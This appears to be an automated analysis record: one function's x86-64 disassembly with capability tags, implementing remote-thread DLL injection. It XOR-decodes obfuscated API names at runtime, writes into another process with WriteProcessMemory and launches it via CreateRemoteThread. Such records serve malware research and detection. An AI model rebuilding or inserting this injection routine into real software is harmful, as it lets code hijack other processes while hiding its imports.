Function at 0x1400031d0
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rbx, rdx
mov rsi, rcx
test rcx, rcx
jne 0x140003230
mov rdx, qword [rdx + 0x18]
cmp rdx, 0xf
jbe 0x140003227
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003222
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036ae
mov rcx, r8
call fcn.140072800
xor edi, edi
xor al, al
jmp 0x14000368a
mov r8, qword [rdx + 0x10]
mov r9d, 0x1000
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x140003264
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
jmp 0x1400031f1
cmp qword [rbx + 0x18], 0xf
mov r8, rbx
jbe 0x140003271
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
xor edi, edi
inc r9
mov qword [rsp + 0x20], rdi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x140085da0]
mov r8d, edi
movsd xmm0, qword [0x140085d98]
mov r10d, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x140085da4]
mov byte [rsp + 0x5c], al
movsd qword [rsp + 0x50], xmm0
cmp r10d, 2
jl 0x1400033be
movdqa xmm2, xmmword [0x140085e80]
mov r8d, 8
movdqa xmm4, xmmword [0x140085ec0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140085e90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140085ea0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x140085d98]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140085eb0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ed0]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x50], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140085ea0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085eb0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ed0]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400033d0
mov eax, dword [0x140085b80]
mov r8d, edi
movsd xmm0, qword [str.XQGXRT_n_b]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x140085b84]
mov byte [rsp + 0x4c], al
movsd qword [rsp + 0x40], xmm0
cmp r10d, 2
jl 0x140003532
movdqa xmm2, xmmword [0x140085e80]
mov r8d, 8
movdqa xmm4, xmmword [0x140085ec0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x140085e90]
movdqa xmm0, xmm2
mov eax, dword [0x140085ed0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140085ea0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140085eb0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.XQGXRT_n_b]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140085ea0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085eb0]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140003540
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov rcx, rsi
test rax, rax
jne 0x1400035f1
mov r9d, 0x8000
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003229
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400035e5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036ae
mov rcx, r8
call fcn.140072800
xor al, al
jmp 0x14000368a
mov qword [rsp + 0x30], rdi
mov r9, rax
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
test rax, rax
jne 0x14000361d
xor r8d, r8d
mov rcx, rsi
jmp 0x140003594
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003688
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003683
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036ae
mov rcx, r8
call fcn.140072800
mov al, 1
mov byte [rbx], dil
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x38]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], rdi
mov rbx, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3